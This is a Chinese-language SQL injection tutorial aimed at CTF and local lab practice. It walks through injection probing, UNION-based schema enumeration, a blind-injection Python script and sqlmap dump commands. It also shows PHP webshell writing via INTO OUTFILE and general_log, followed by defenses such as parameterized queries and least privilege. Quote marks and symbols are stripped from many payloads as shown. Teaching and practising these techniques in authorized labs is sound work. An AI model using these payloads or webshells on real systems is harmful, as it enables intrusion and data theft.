
1. 先说清楚SQL注入为什么会存在很多初学者第一次接触SQL注入都是从一句莫名其妙的“万能密码”开始的在用户名框里输入 or 11 --密码随便填结果居然登录成功了。我当时第一次看到这个操作第一反应是“这也能行”第二反应才是“为什么能行”。搞懂这个为什么比背十个payload都管用。SQL注入的本质一句话就能讲明白程序中本该作为“数据”的那部分输入被拼进了“代码”里执行了。拿登录逻辑举例正常的代码大概是这样的SELECT * FROM users WHERE username admin AND password 123456这里用户输入的admin和123456是数据程序用一个字符串模板把它们填进SQL语句。问题是如果用户输入的不是普通文本而是 or 11 --那拼完之后就变成了SELECT * FROM users WHERE username or 11 -- AND password xxx--在MySQL里是注释符它会把后面的AND password xxx整个注释掉于是这条语句真正生效的部分就只剩SELECT * FROM users WHERE username or 1111永远为真整条语句的查询条件恒真结果就是把表中所有用户记录都查出来了。很多登录逻辑是“只要查到记录就算登录成功”所以哪怕只返回了第一行数据也可能直接以该用户的身份进入系统。大部分CTF题里的“万能密码”考察的就是这个原理。明白这一点再去理解后面所有技术点就会顺很多数字型注入、字符型注入、联合查询、布尔盲注、时间盲注、读写文件本质上都是同一件事的不同变体——我们改变了原始SQL语句的语义让它执行了我们希望它执行的操作。1.1 注入点长什么样先找参数再找拼接口在实际的Web应用中SQL注入点一般出现在这几类位置URL参数比如http://example.com/news.php?id1常见的整形参数。POST表单字段登录框、搜索框、注册表单都有可能。Cookie或请求头某些系统会把用户信息存储在Cookie里后端查询时直接拼接。搜索功能用户输入的关键词会拼进LIKE查询。这里有个容易被新手忽略的细节注入点和请求参数的位置无关关键看后端是不是直接把输入拼到了SQL语句里。登录框可以注入搜索框可以注入一个看似只传数字的新闻详情页URL也可以注入。判断一个参数是否可注入核心动作是观察“输入异常内容时页面的反应是否发生变化”。我自己习惯的探测套路是这样的从轻到重步骤输入示例观察目标1. 正常访问id1记录正常返回的数据形态2. 加单引号id1页面是否报错、空白、行为异常3. 加逻辑语句id1 and 11与id1结果是否一致4. 加逻辑反例id1 and 12页面是否变化、数据是否消失5. 加注释符id1 --确认闭合方式是否可被注释这套流程的目标很明确先确认有没有“异常反应”再确认这个“异常反应”是不是由我们可控的SQL逻辑形成的。如果and 11正常、and 12出错或返回不同内容那基本可以判定这个参数存在数字型注入。如果1报错1 --又恢复正常说明是字符型注入且闭合符号是单引号。1.2 数字型与字符型为什么闭合方式决定一切在SQL语句里数字参数通常不需要引号包裹字符串参数必须用引号。这个差异导致了注入手法的分叉。数字型注入的拼接一般是SELECT * FROM products WHERE id 1我们输入1 and 11就能直接拼成SELECT * FROM products WHERE id 1 and 11不需要考虑引号问题直接能控制整个查询条件。字符型注入就多一层麻烦SELECT * FROM products WHERE name abc我们输入abc拼出来是SELECT * FROM products WHERE name abc后面的单引号会引发语法错误所以必须先“闭合”前面的引号让语句重新变得合法。最常见的手法是在输入末尾加--、#或/ *xxx* /把剩余内容注释掉或者用另一个单引号去配对。这就是大家常说的“闭合方式”。闭合方式不同payload的写法就完全不同。比如MySQL下单引号闭合 or 11 --双引号闭合 or 11 --无闭合数字型or 11 --括号包裹) or 11 --比较隐蔽的是括号闭合比如登录语句可能写成SELECT * FROM users WHERE (username admin AND password xxx)这时单单一对引号是不够的需要) or 11 --这样既闭合了引号又闭合了括号。怎么判断用错误信息判断。报错里直接看到了附近有语法错误就能猜出引号类型如果加了单引号没反应、加了)报错那多半是括号闭合。手工判断慢一点但是理解深用sqlmap自动跑也行但后面讲工具时我会再次提醒工具能跑出结果不代表你理解了这个过程。2. 从靶场到实战搭建自己的练习环境聊原理归聊原理SQL注入这东西真的是“纸上得来终觉浅绝知此事要躬行”。而且我强烈建议所有人在本地靶场里练习不要去未经授权的网站测试。在靶场里你可以随便折腾大胆尝试出任何问题都不慌。常见的靶场有这几个我按推荐程度排序靶场特点适合阶段DVWA自带SQL Injection模块难度分级从低到高正好对应三种典型防御强度入门首选Pikachu中文界面覆盖SQL注入、XSS、CSRF等常见漏洞题目设计贴近教学新手友好sqli-labs专攻SQL注入几十关覆盖各种注入类型和绕过场景进阶练习ctfshow在线CTF平台SQL注入题目花样多很多题能学到实战技巧比赛向DVWA的低难度级别代码长这样$id $_GET[id]; $query SELECT first_name, last_name FROM users WHERE user_id $id;;这种代码几乎就是“裸奔式”拼接没有任何过滤和防护。中等级别加了mysqli_real_escape_string会转义单引号这时候万能密码就不好使了高等级直接换成预处理语句基本就堵死了注入。把这三个级别全部亲手打通对“加固方法为什么有效”会有非常直观的感受。Pikachu靶场的好处在于它是中文的而且每个漏洞模块前面都有原理说明非常适合初学者理解上下文。它的SQL注入模块也分了字符型、搜索型、数字型等多种场景做完基本能形成系统性的判断框架。2.1 环境搭建的几个实用细节搭建靶场最推荐的方式是用Docker干净快捷。以sqli-labs为例docker run -d --name sqli-labs -p 80:80 acgpiano/sqli-labsDVWA也可以用Docker跑或者直接用PHPStudy在Windows下装后者更符合很多刚接触安全测试的朋友的习惯。不管用哪种方式我建议你把靶场跑通后先做两件事第一把数据库的报错显示打开。靶场环境就是为了学习的关闭报错反而会阻碍理解。在MySQL里临时开启SET global log_error_verbose 2;更常见的是在PHP代码里把display_errors设为On。DVWA这类靶场默认就能看到报错如果看不到检查一下配置文件里有没有被刻意关闭。第二准备一个可以随时查看SQL日志的办法。MySQL开启通用日志后你能直接看到后端到底执行了什么语句SET GLOBAL general_log ON; SET GLOBAL general_log_file /var/log/mysql/general.log;这样当你提交一个payload时可以立刻在日志里看到程序拼出来的完整SQL语句很多“为什么我构造的是A实际执行的却是B”的困惑就迎刃而解了。2.2 用Python模拟一遍注入过程有些朋友习惯用代码验证原理这样印象更深。我拿最基础的登录注入写个例子import sqlite3 def login(username, password): conn sqlite3.connect(test.db) cursor conn.cursor() sql SELECT * FROM users WHERE username {} AND password {}.format(username, password) print(实际执行的SQL:, sql) cursor.execute(sql) result cursor.fetchone() if result: print(登录成功当前用户, result[1]) else: print(登录失败) conn.close() login( or 11 -- , anything)跑一下这段代码你会看到控制台打印出实际执行的SQL语句以及结果。这个小小的模拟能帮助你直观理解程序侧和后端数据库之间发生了什么尤其是“输入是如何变成SQL的一部分”的整个过程。用Python模拟还有一个好处你能把参数化查询的对照版本写出来对比两条语句的区别防护原理也顺便理解了。参数化版本的代码import sqlite3 def login_safe(username, password): conn sqlite3.connect(test.db) cursor conn.cursor() sql SELECT * FROM users WHERE username ? AND password ? cursor.execute(sql, (username, password)) result cursor.fetchone() if result: print(登录成功当前用户, result[1]) else: print(登录失败) conn.close()注意这里用户输入直接被当作参数传入execute()数据库驱动会把它当纯数据处理不可能改变SQL语句的结构。两种写法一对比原理和防护手段就都通了。3. 手工注入的关键流程从探测到数据获取先说一个我自己带人时常强调的观点不要一上来就用sqlmap。手工注入虽然慢但它能帮你建立“语句是怎样一步步变形”的感觉。sqlmap我用得很多但用它之前我已经能手工判断出注入类型、闭合方式、字段数量工具只是帮我省事而已。整个手工流程我认为可以拆成四步探测、判断、查字段、拿数据。下面按这个顺序详细讲。3.1 字段数量的判断ORDER BY与UNION拿到一个注入点之后下一步如果是想用UNION SELECT来联合查询就得先知道原查询返回几个字段。最常用的是ORDER BY。假设一个URL参数id1存在字符型注入我们这样试id1 ORDER BY 1 -- id1 ORDER BY 2 -- id1 ORDER BY 3 --如果ORDER BY 4时报错或页面异常而ORDER BY 3正常说明原查询有3个字段。原理很简单ORDER BY后面跟的是列序号序号超过实际列数时数据库会返回“不存在该列”的错误。另一种方式是直接猜UNION的列数。用UNION SELECT 1,2,3逐个尝试如果列数匹配且两边数据类型兼容页面会显示出我们指定的数字。有些场景下ORDER BY会被过滤或限制那时可以改用id1 UNION SELECT NULL,NULL,NULL --用NULL能规避部分数据类型不匹配的报错。注意实际测试时最好从1开始逐步加数字太多字段尝试会显得杂乱而且容易被日志或WAF盯上。3.2 联合查询把数据“打”到页面上知道字段数后就可以尝试用联合查询把我们需要的数据直接显示到页面上。经典的流程是-- 确定当前使用的数据库 id1 UNION SELECT 1,database(),3 -- -- 确定当前用户权限 id1 UNION SELECT 1,user(),3 -- -- 获取当前库的所有表名MySQL 5及以上 id1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase() --这里用到了information_schema这是MySQL自带的信息数据库里面保存了所有数据库、表、列名的元数据。在MySQL 5.0以上版本中通过information_schema可以系统性地枚举整个数据库结构这也是“拿到注入点后信息收集”的标准打法。group_concat()函数在注入里用得特别多它能将查询结果的多个行合并成一列方便在页面上一次性显示。比如获取某张表的所有列名id1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameusers --在靶场里这个操作可以直接在URL里完成也可以用Burp Suite的Repeater反复调试。我自己的习惯是先在Burp里试通再用Python脚本自动化效率和可调性都兼顾了。3.3 盲注场景页面一变都不变时怎么办上面的联合查询依赖一个前提查询结果会直接回显到页面上。很多实际场景里页面上什么都看不到无论你注入什么返回的内容都差不多。这种就叫“盲注”。常见的盲注分两种布尔盲注和时间盲注。布尔盲注靠“页面内容的真/假差异”来逐位猜数据。比如id1 AND (SELECT SUBSTRING(database(),1,1))a --如果数据库名的第一个字母确实是a页面正常返回否则页面异常。每次只能猜一个字符效率很低但它的核心逻辑很简单适合用脚本自动化。网上很多盲注脚本就是这个原理import requests url http://target.com/news.php chars abcdefghijklmnopqrstuvwxyz0123456789_ result for i in range(1, 20): for c in chars: payload f1 AND SUBSTRING(database(),{i},1){c} -- r requests.get(url, params{id: payload}) if 正常页面特征 in r.text: result c print(result) break时间盲注则是当页面完全没有差异时通过SLEEP(5)制造时间差来判断条件真假id1 AND IF(SUBSTRING(database(),1,1)a,SLEEP(3),0) --如果猜对了页面响应时间明显变长。慢是慢但在高隐蔽性场景下确实有用。3.4 万能密码绕过登录的完整剖析回到文章开头的万能密码现在来拆一下它的几种变体。假设登录SQL是SELECT * FROM users WHERE username$name AND password$pass常见的绕过方式有-- 用户名处输入 or 11 -- -- 密码处输入 or 11 -- 两端同时构造 admin or 11第二种写法是把密码变成一个恒真表达式效果类似。在Pikachu靶场和DVWA的低等级模块里这些都能直接打穿。但如果你理解了原理会发现万能密码的“万能”其实是有条件的查询结果被程序当作“登录成功”的依据。原查询对用户名和密码用了拼接而不是参数化。没有对输入做危险字符过滤。三条只要有一条不满足万能密码就失效了。这也是为什么很多CTF题里第一关是万能密码第二关就开始考查预编译、过滤等加固场景下的绕过手法。3.5 在ctfshow和bugku里常见的注入变体CTF题和真实渗透有一点不同CTF题往往设置了很多刻意的约束条件比如过滤了union、过滤了空格、只能用盲注、写入WebShell才能读到flag等等。ctfshow的“SQL注入”系列题目里有个很典型的分类是“注入点能写入文件”后面第4节我会单独展开。还有一类题是过滤关键词后让你绕过比如把select、union替换成空字符串。经典绕过思路是双写selselectect如果过滤逻辑是“匹配后删除一次”那么删掉中间部分后恰好变成select。这种细节如果不亲手在靶场里试一遍只看文章会很难建立直觉。bugku平台上有一道题直接考查“POST注入”我印象很深登录表单需要同时注入用户名和密码两个参数而且过滤规则比DVWA低等级复杂不少需要你同时考虑闭合和多参数的关系。这类题对“同时控制多个注入点”的能力要求比较高建议在打通DVWA之后再挑战。4. 从注入到文件写入“生成文件”这条链路热搜词里有一项是“ctfshow sql注入生成文件”。这是CTF题里非常经典的考法注入点不仅能查数据还能把数据写入服务器上的文件最终直接拿到WebShell。要理解这条链路得先掌握两个MySQL文件操作函数。4.1 INTO OUTFILE与文件写入条件MySQL里常见的文件操作语句-- 把查询结果写入文件 SELECT ?php eval($_POST[cmd]);? INTO OUTFILE /var/www/html/shell.php -- 读取服务器文件内容 SELECT LOAD_FILE(/etc/passwd)INTO OUTFILE不是想用就能用的要满足几个条件当前数据库用户具备FILE权限一般是高权限账号比如root。secure_file_priv参数没有限制或指向了可写目录。如果它指向某个特定目录则只能向该目录写文件如果为空表示禁止文件读写。目标目录必须有写权限比如/var/www/html目录权限不可写语句照样失败。对于LOAD_FILE还需要目标文件对MySQL进程可读。很多CTF平台为了方便出题会把secure_file_priv设为空。但在真实生产环境里数据库高权限账号通常不会直接暴露给前端应用。在注入点里利用文件写入的思路是先把注入点变成可以执行UNION SELECT的形态然后让前面的查询结果为空这样写入的字符串就来自我们控制的数据。一个典型的payload长这样id1 UNION SELECT 1,?php phpinfo();? INTO OUTFILE /var/www/html/rce.php --如果页面返回正常且路径拼接正确访问rce.php就能看到PHP执行结果。4.2 日志写入与慢查询写入备选方案有些场景下INTO OUTFILE被禁用了CTF题里的“生成文件”考得更多的其实是日志写入法。MySQL的通用日志general log记录了数据库收到的每一条语句如果我们能以注入手段修改数据库的全局参数就有机会把恶意PHP代码“留”在日志文件里再通过包含日志文件的方式执行。操作路径大致是-- 查看当前日志文件路径 SET GLOBAL general_log ON; SET GLOBAL general_log_file /var/www/html/shell.php; -- 再随便执行一条包含PHP代码的SQL语句 SELECT ?php system($_GET[cmd]); ?;执行完后shell.php里会落下带PHP代码的日志记录。这套手法在CTF里相当经典很多“一键生成文件”的题目其实就是在考这个组合拳。这里必须强调一个边界问题你只能在授权测试的靶场或自己拥有的环境里去验证这些操作。在真实系统里没有书面授权的情况下任何SQL注入验证、文件写入、数据获取行为都是明确不该越过的红线。这也是为什么我一直建议用DVWA、Pikachu、sqli-labs、ctfshow这些有明确练习属性的平台来学习。4.3 实际渗透中怎么确认SQL注入的利用价值“sql注入在实际渗透中怎么验证”是很多人的困惑我知道了某个参数可能注入但怎么判断它到底有没有被真正利用的价值我的验证清单大致如下稳定复现同一个payload多次执行结果是否一致。如果第一次成功第二次失败优先怀疑WAF或环境动态变化。确认回显类型是页面有直接输出还是只能靠时间或布尔差异判断。这决定了后续选用哪种利用方式。确认数据库权限能否读到current_user()、database()账号是什么权限级别FILE权限是否存在这些直接决定了能不能走文件写入路线。确认数据敏感度能否跨库读取information_schema.schemata里能看到几个库这里其实是利用价值的核心判断。确认影响范围如果注入点在后台管理页面可能绕过登录直接进后台如果在前台商品详情页可能只能读取部分数据。两种利用路径完全不同。结合靶场练习来说我建议每做完一个注入点都顺手记录一下上面五项结论。写多了之后你在面对一个陌生目标时会自然地形成判断框架而不是看and 11有反应就瞎高兴。4.4 再聊一个容易被忽略的点编码问题SQL注入的payload经常要经过URL编码、JSON编码、POST表单编码等多层传递。中文环境里最常见的一个坑是数据库的字符集是utf8但页面请求时用了gbk导致被后端转义后依然能凑出一个特殊字符。这就是经典的宽字节注入。在SQL注入笔记里我建议单独留一节记录编码相关的问题。比如%bf%27这种形态在特定条件下会绕过硬编码的转义背后的原理是数据库把两个半角字符组合成了一个宽字符原本被转义的单引号又恢复了原有语义。这类问题在CTF题里经常出现在老旧系统上也偶尔能遇到算是实战中比较考验理解力的一个变体。5. 踩坑实录与常见问题速查这部分是我最想写的因为SQL注入学习过程中大量时间其实是花在“为什么我的payload不管用”上。下面这些是我自己实操中踩过、也带人踩过的典型问题按出现频率排个序。5.1 页面报错但不回显数据报错说明我们的输入确实被拼进了SQL语句但不回显数据可能有两个原因其一目标程序的查询结果没有直接显示在页面上而是经过了一层处理比如只取第一个字段、只返回影响行数。这种情况下联合查询可能有用但你需要控制“列入”的位置和数量确保关键数据出现在回显字段里。其二代码层面做了异常处理后输出空页面。PHP里常见的写法是if ($result) { echo $row[title]; } else { die(error); }你注入的UNION SELECT可能让原查询结果变空于是直接走到了die(error)分支。这时需要调整payload让原查询有条件地返回空但联合查询部分正常输出。比如把前面的ID条件改为一个不可能的值id-1。很多新手在这里卡住就是因为只盯着1这个ID去试忘了可以先制造一个不存在的记录再配合UNION查询。这类细节只有自己在靶场里试过才发现“哦原来还要调整原查询的结果集”。5.2 单引号被过滤与绕过思路常见的初级过滤是把替换为空。绕过方式多种多样比如用十六进制编码字符串、用CHAR()函数动态构造字符串。以表名为例users可以写作SELECT * FROM information_schema.tables WHERE table_nameCHAR(117,115,101,114,115)CHAR()函数接受十进制ASCII码并返回对应字符117对应u115对应s组合起来就是users。这种手法可以绕过对引号或关键字的基础过滤现在很多WAF产品对这类手法也有检测但它在CTF和老化系统里依然常见。接到一个新系统时我的建议是先做“过滤探测”分别输入、、\\、--、#、/*等特殊字符观察哪些被替换、哪些被删除、哪些原样返回。搞清楚清洗规则再设计payload比盲目堆绕过技巧效率高得多。5.3 sqlmap使用心得好用但不等于理解sqlmap确实强大以下命令几乎是标配sqlmap -u http://target.com/news.php?id1 --batch --dbs sqlmap -u http://target.com/news.php?id1 -D database --tables sqlmap -u http://target.com/news.php?id1 -D database -T users --dump但我不建议完全依赖它原因有三第一sqlmap的payload类型很多一次自动测试可能发几百个请求很容易触发WAF或把日志刷满。在授权测试里这是一个体感很差的噪音来源。第二sqlmap返回“存在注入”时它不会告诉你注入点长的什么样子、用了什么变形手法。一旦环境里加了自定义过滤规则你可能连该用哪个--tamper都需要手工指定不理解原理就很难对症下药。第三实战中很多URL参数带签名或动态tokensqlmap直接跑不通。这时手工构造带token的请求并配合Burp的宏功能去刷新token反而更可控。一个比较合理的用法是先用Burp手工确认方向和类型再用sqlmap的--level和--risk参数做深层次探测拿它当辅助验证。靶场练习时我更建议先完全手工过一遍再开sqlmap对比结果。5.4 常见问题速查表问题现象可能原因排查建议加单引号没反应参数不是注入点或过滤了单引号改用1 and 11测试逻辑差异报错但不回显列数不对、数据类型不匹配、结果被二次处理用ORDER BY确认列数用NULL列占位payload中有空格但被过滤空格被程序或WAF移除用/**/、%09、%0a代替空格关键字被替换为空过滤逻辑是删除尝试双写如selselectect时间盲注无效果目标环境不支持SLEEP()或请求超时改用BENCHMARK()或更长的延时UNION查询总失败原查询结果与UNION列类型冲突前面查询条件改成不存在的记录如id-1注释符--不生效缺少结尾空格或MySQL版本注释规则不同改用#或/*xxx*/页面完全不变盲注环境用AND 11/AND 12对比确认布尔型盲注无效则考虑时间注入6. 防住它代码层与数据库层的最小防御方案聊完攻的视角还是得落回防守。理解SQL注入最好的方式其实是站在防御者的角度看一遍为什么预处理能防注入为什么mysqli_real_escape_string只能挡一部分一个合格的开发者应该怎么做6.1 参数化查询与预处理语句这是目前公认最有效的SQL注入防御手段。核心思想是SQL语句的骨架预先编译好用户输入只作为参数传入数据库端在执行时把参数视作纯粹的数据而非代码的一部分。Python的sqlite3.execute()、PHP的PDO prepare()、Java的PreparedStatement、Go的database/sql的?占位都是这个思路。PHP里PDO的写法$stmt $pdo-prepare(SELECT * FROM users WHERE username ? AND password ?); $stmt-execute([$username, $password]);不管用户输入什么它都只是username和password的值不可能打破语句结构。使用参数化查询时有几个坑是新手容易踩的一是表名、列名不能用参数占位。SELECT * FROM ? WHERE ?基本是无效的因为数据库需要先解析表结构。如果确实需要动态传入表名必须走白名单校验。二是批量操作或IN子句。IN (?, ?, ?)需要手动根据参数数量拼接占位符不能直接把一个数组传进去否则要么报错要么被格式化成整个字符串而失去参数化意义。6.2 输入校验与白名单思维参数化查询解决的是“结构注入”问题但输入校验依然是必要的第二道防线。理想情况是对所有输入先做合法性判断再做参数化查询。数字型参数直接强制类型转换$id (int)$_GET[id];枚举型参数用白名单映射$order $_GET[order]; $allowed [asc, desc]; if (!in_array($order, $allowed, true)) { $order asc; }这样即使某处忘了参数化查询攻击者也很难利用这些入口。把“白名单思维”当成默认编码习惯比堆一堆黑名单过滤要可靠得多。6.3 数据库账号最小权限与安全配置代码写得再安全数据库账号权限过大也是隐患。常规建议是应用账号只授予SELECT、INSERT、UPDATE、DELETE等必要权限绝不使用root连接应用。需要动态拼接SQL的业务也要单独建账号并限制可选表范围。生产环境关闭FILE权限这能直接堵死INTO OUTFILE和LOAD_FILE这两类大杀器。把secure_file_priv设置为专门的导出目录或直接设为空并给予日志监控。关闭错误信息输出到前端统一使用错误日志记录并返回通用提示页。这一层属于纵深防御的一部分。即使攻击者突破到了数据库层权限限制也能让损害被控制在可接受范围内。6.4 一条SQL安全的最终检查清单最后给一个检查清单每次写数据库操作相关代码时过一遍基本能规避大多数注入问题是否使用了参数化查询有没有任何动态拼接SQL的漏网之处表名、列名、排序关键字是否走白名单校验应用连接的数据库账号是否最小权限生产环境是否关闭了FILE权限与secure_file_priv错误信息是否已经关闭前端展示日志里是否记录了数据库错误和危险字符访问我个人在实际工作中的体会是一个系统如果能在代码层全部使用参数化查询并在数据库层限制好账号权限绝大多数SQL注入风险就已经被堵住了。剩下的加固比如WAF、IDS、数据库审计更多是锦上添花而不是雪中送炭。SQL注入这个主题说难不难说简单也不简单。它真正考察的是你对“数据”和“代码”之间边界的理解。把这个边界理解透了不管以后再遇到ORM框架的滥用、存储过程的动态拼接还是新语言里的字符串格式化漏洞你都能一眼看穿问题本质。这篇笔记算是我把零散学习过程中那些最有价值的认知整理了出来希望也能帮你在绕过、利用、防御几个方向上同时建立一套自己的判断框架。